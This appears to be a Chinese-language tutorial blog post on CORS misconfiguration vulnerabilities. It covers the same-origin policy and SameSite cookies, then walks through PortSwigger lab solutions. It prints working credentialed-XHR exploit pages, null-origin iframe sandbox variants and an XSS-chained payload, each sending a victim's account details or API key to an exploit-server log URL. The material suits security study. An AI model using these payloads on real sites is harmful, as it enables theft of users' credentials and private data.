CORS跨域资源共享漏洞学习

前言

想要了解明白这个漏洞,我们就需要知道一些前提

同源策略 (Same Origin Policy)

同源策略的基本原则是:当一个浏览器加载一个源(Origin)的文档或脚本时,它将只允许该文档或脚本与其自身相同源的资源进行交互,而不允许与其他源的资源进行直接交互。这种限制有助于防止恶意网站获取用户的敏感信息或进行未经授权的操作。

同源策略通常应用于以下方面:

  1. DOM访问限制:一个源的JavaScript代码只能访问来自相同源的DOM对象,不能直接操作其他源的DOM对象。
  2. Cookie限制:浏览器会将Cookie与其关联的源关联起来,并且在同源策略下,一个源的Cookie不会被发送到另一个源。
  3. XHR请求限制:XMLHttpRequest对象(用于AJAX请求)在同源策略下只能向同一源发起请求。
  4. Frame和iFrame限制:同源策略限制了页面中一个frame或iframe内加载的内容只能来自相同的源。

两个URL只有在以下所有方面都匹配时才被视为同源:

  1. 协议(Protocol):两个URL的协议必须相同,例如都是HTTP或都是HTTPS。
  2. 主机名(Host):两个URL的主机名(域名或IP地址)必须完全相同。
  3. 端口(Port):如果指定了端口号,那么两个URL的端口号必须相同。如果未指定端口号,则默认使用HTTP的80端口和HTTPS的443端口

同时满足这三种条件就是同源,当存在两个站点,其中有一项不满足相同条件的时候,我们即可说这两个站点不是同源站点,而当其中一个站点想请求另外一个站点的资源的时候我们边称它为跨域请求,而由于安全考虑,跨域请求会受到同源策略的限制

不受影响的标签

在HTML中<a>, <form>, <img>, <script>, <iframe>, <link> 等标签以及 Ajax 都可以指向一个资源地址

在这些标签中有以下的标签不受同源策略的限制

  1. script
  2. img
  3. link
  4. css

用户对跨域的需求

  • 比如前后端分离的情况,前后端域名不同,但是前端会需要用到后端的接口,发送ajax请求
  • 电商网站加载第三方快递网站的物流信息

跨域请求方式
CORS定义了两种跨域请求,简单跨域请求和非简单跨域请求。只要同时满足以下两大条件,就属于简单请求。

  1. 请求方法是以下三种方法之一:
  • HEAD
  • GET
  • POST
  1. HTTP的头信息不超出以下几种字段:
  • Accept
  • Accept-Language
  • Content-Language
  • Last-Event-ID
  • Content-Type:只限于三个值application/x-www-form-urlencodedmultipart/form-datatext/plain

简单的说就是设置了一个白名单,符合这个条件的才是简单请求。其他不符合的都是非简单请求。

浏览器对简单请求和非简单请求的处理机制不一样。
对于简单请求,浏览器就会立刻发送这个请求。
对于非简单请求,浏览器不会马上发送这个请求,而是有一个preflight,跟服务器验证的过程。浏览器先发送一个options方法的预检请求。

CORS机制解决

CORS,跨域资源共享(Cross-origin resource sharing),是H5提供的一种机制,WEB应用程序可以通过在HTTP增加字段来告诉浏览器,哪些不同来源的服务器是有权访问本站资源的,当不同域的请求发生时,就出现了跨域的现象。

下图是常见的跨域会遇到的请求头

image-20240326205713246当对CORS配置不当的时候,就导致资源被恶意操作,也就发生了CORS漏洞

漏洞检测

一般情况下,修改请求包 Header 中的 Origin 字段为任意域名或者为 null 的方式去检测该漏洞是否存在

常见的几种情况

如上面的图所示,用红框标记的是最有代表性的三个头,其中我们可以手动为请求加上Origin,然后观察响应头的Access-Control-Allow-OriginAccess-Control-Allow-Credentials的值

  • 其中Access-Control-Allow-Origin表示允许跨域访问的host

就三个值,可以设置成指定的网站,也可以设置成*表示允许所有host跨域访问,也可以设置为null,但是首先设置成null并不常见,并且也不推荐

  • 如果想跨域传输cookies,需要Access-Control-Allow-Credentials设置为true,并且需要与XMLHttpRequest.withCredentials 或Fetch API中的Request() 构造器中的credentials 选项结合使用,例如使用XMLHttpRequest的时候需要将withCredentials的值设置为true

接下来按照常见性分为几种情况

Access-Control-Allow-Origin Access-Control-Allow-Credentials 结果
* true 不存在漏洞
<all-host></all-host> true 存在漏洞
<safe_host> true 安全-不存在漏洞
null true 存在漏洞

第一种,Allow-Origin为 * ,Allow-Credentials为 true

后端代码如下:

image-20240328180058915

按照上面漏洞检测的方法检测,结果如下:

image-20240328180136118

前面我们知道Access-Control-Allow-Origin表示允许跨域访问的host,我们这里设置成了通配符*,代表允许所有网站的跨域请求,当这种情况的时候,即便Access-Control-Allow-Credentials为true,那么会被认定为不安全的,将不能将cookie发送到服务端,所以我们利用会失败

攻击服务器代码:index.jsp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<html>
<body>
<h2>Hello World!</h2>
<button id="attack" type="button" onclick="attack()">点我抢红包</button>
</body>
<script>
function attack() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function () {
// 当响应请求完成,并且返回200的时候弹出响应体
if (this.readyState == 4 && this.status == 200){
if(this.response =="" || this.response == null){
alert("恭喜已经绕过了同源策略,但是响应体为空,利用失败");
}else{
alert("黑客已经拿到你的敏感信息----"+this.response)
}
}
}
//打开靶机地址
xhttp.open("GET","http://192.168.1.2:8080/info",true);
//使用 cookie、授权标头或 TLS 客户端证书等凭据进行跨站点请求
xhttp.withCredentials = true;
xhttp.send();
}

</script>
</html>

靶机地址: 192.168.1.2:8080

攻击服务器地址:192.168.1.251:8080

当用户登录状态下,访问我们的网站并点击相关按钮的时候,发下没有任何反应,这时候我们来看一下响应体和控制台,发现请求已经被同源策略禁止了

image-20240328180316312

第二种,Allow-Origin为<all-host> ,Allow-Credentials为 true</all-host>

这种的话其实也相当于同意了所有站点的跨域请求,一般如果是这种情况,那么漏洞肯定存在并且可以利用,而出现漏洞的原因就是一些开发为了图方便导致的

后端代码如下:

image-20240328180448654

测试的结果如下:
image-20240328180512819

这样子的话便可以利用成功

image-20240328180543504

但是在正常的浏览器上面尝试的话便不会成功(所看文章的作者在虚拟机上下的一个谷歌的盗版浏览器)

image-20240328180700420

原因就是SameSite属性,2016年开始,Chrome 51版本对Cookie新增了一个 SameSite属性,为了防止CSRF攻击,陆续的各大厂商的浏览器也都适配了该属性,该属性有什么用呢?如下图所示,展示了SameSite和其它跟cookie有关的设置的基本用途

image-20240328180735354

samesite属性有三个值

  • Strict:最为严格,完全禁止第三方 Cookie,跨站点时,任何情况下都不会发送 Cookie。
  • Lax:当开发开发人员没有设置samesite的值得时候,Lax是默认值,规则稍稍放宽,大多数情况也是不发送第三方 Cookie,详细如下图

img

我们利用页面的请求,可以算作一个AJAX,所以当我们默认情况下去利用不会发送cookie

  • None:所有请求中都允许发送cookie,但是如果samesite配置成了none,还必须将cookie加上Secure属性才能够生效

所以当遇到https协议的站点,并且cookie的samesite被设置成None的时候,也可以利用,如下图所示,我将站点改成了https,并且加上了samesite=None以及Secure

img

利用成功,其中当Allow-Origin设置为safe-host类似

第三种,Allow-Origin为null,Allow-Credentials为true

这种情况可以被绕过,因为任何使用非分级协议(如 data:file:)的资源和沙盒文件的 Origin 的序列化都被定义为‘null’,所以我们这里利用iframe标签,使用 data url 格式将src的值直接加载为html(同样的利用成功的前提仍然要考虑我们上述提到的samesite)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<iframe sandbox="allow-scripts allow-top-navigation allow-forms allow-modals" src="data:text/html;charset=UTF-8,<script>
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function () {
// 当响应请求完成,并且返回200的时候弹出响应体
if (this.readyState == 4 && this.status == 200){
if(this.responseText =='' || this.responseText == null){
alert('恭喜已经绕过了同源策略,但是响应体为空,利用失败');
console.log('no,'+this.responseText)
}else{
alert('黑客已经拿到你的敏感信息----'+this.responseText);
console.log('yes,'+this.responseText)}
}
}
xhttp.open('GET','https://192.168.1.2:8443/info',true);
xhttp.withCredentials = true;
xhttp.send();
</script>"></iframe>

利用成功

img

当然也可以利用h5的新属性srcdoc

1
2
3
4
5
6
7
8
9
10
11
12
<iframe sandbox="allow-scripts allow-top-navigation allow-forms allow-modals" srcdoc="<script>
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function () {
// 当响应请求完成,并且返回200的时候弹出响应体
if (this.readyState == 4 && this.status == 200){
alert(this.responseText);
}
}
xhttp.open('GET','https://192.168.1.2:8443/info',true);
xhttp.withCredentials = true;
xhttp.send();</script>
"></iframe>

同样可以利用

img

实战

Lab:具有基本源反射的 CORS 漏洞

要求:要解决该实验问题,请制作一些使用 CORS 检索管理员的 API 密钥并将代码上传到漏洞利用服务器的 JavaScript

首先我们先开启bp,关掉拦截,打开谷歌的proxy插件,然后登录题目提供给我们的账号,成功登录后查看代理模块中的HTTP历史记录,点击/accountDetails,观察密钥是否通过对 /accountDetails 的 AJAX 请求检索,并且响应包含表明它可能支持 CORS 的 Access-Control-Allow-Credentials 标头,所以把该条目发送到重放器里面,按照上面的方法测试一下是否含有CORS漏洞,如下所示:
image-20240328193659718

可以发现接受所有的链接,并且Allow-Credentials为 true,有漏洞可以利用,所以我们到bp给我们提供的漏洞利用服务器中,并在其中的html代码的body部分输入以下代码:

1
2
3
4
5
6
7
8
9
10
11
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','YOUR-LAB-ID.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='/log?key='+this.responseText;
};
</script>

对以上代码的解释:

  1. var req = new XMLHttpRequest();:创建了一个新的 XMLHttpRequest 对象,用于发起 HTTP 请求。
  2. req.onload = reqListener;:指定了当请求成功完成时调用的回调函数 reqListener。这意味着一旦请求成功返回数据,将会执行名为 reqListener 的函数。
  3. req.open('get','YOUR-LAB-ID.web-security-academy.net/accountDetails',true);:使用 GET 方法打开了一个与指定 URL 的异步(true 表示异步)HTTP 连接。该 URL 是一个包含用户账户详情的资源。
  4. req.withCredentials = true;:设置了 XMLHttpRequest 对象的 withCredentials 属性为 true。这表示在请求中会包含凭据(如 cookie、授权标头等),从而允许在跨域请求中发送身份验证信息。
  5. req.send();:发送了 HTTP 请求到指定的 URL

保存之后便可以将其发送给受害者,然后查看日志,获取到管理员的API,题目解决

Lab:具有受信任的 null 源的 CORS 漏洞

首先按照上题的方法一样检查是否有CORS漏洞,与上题不一样的是这题我们在Origin处输入任意一个链接的话响应体里面不会回显Access-Control-Allow-Origin,但是当我们输入null的时候,回显成功,如下:
image-20240328200418197

回显的这两条证明了还是存在CORS漏洞的,不过需要用常见的第三种情况里面的方法,到bp给我们提供的漏洞利用服务器中,并在其中的html代码的body部分输入以下代码:

1
2
3
4
5
6
7
8
9
10
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','YOUR-LAB-ID.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='YOUR-EXPLOIT-SERVER-ID.exploit-server.net/log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

注意使用 iframe 沙盒,因为这会生成 null 源请求

接下来按上题操作,题目解决

Lab:具有受信任不安全协议的 CORS 漏洞

按照上面两题的步骤操作发现响应体中都回显不出Access-Control-Allow-Origin标头,于是根据题目提示尝试子域名,结果如下:

image-20240328210126691

发现接受本域名以及子域名,还是存在CORS漏洞的

打开产品页面,点击检查库存,并观察它是否使用子域上的 HTTP URL 加载(请注意,该 productID 参数容易受到 XSS 的影响)

于是到bp提供的漏洞利用服务器中,输入如下代码:

1
2
3
<script>
document.location="http://stock.0a58005104085dbd81d52570007b00a4.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://0a58005104085dbd81d52570007b00a4.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://exploit-0abd005e04c25dbc818624a201780074.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>

最好就不要再整理(我整理格式之后尝试不出来),这段代码的功能是首先将页面重定向到一个特定的URL,然后使用XMLHttpRequest对象向另一个URL发送GET请求,获取账户详情信息。当请求完成时,会将响应内容作为参数拼接到另一个URL中,并将页面重定向到该URL

接下来按照第一题那样继续操作,最后会得到管理员的API,题目解决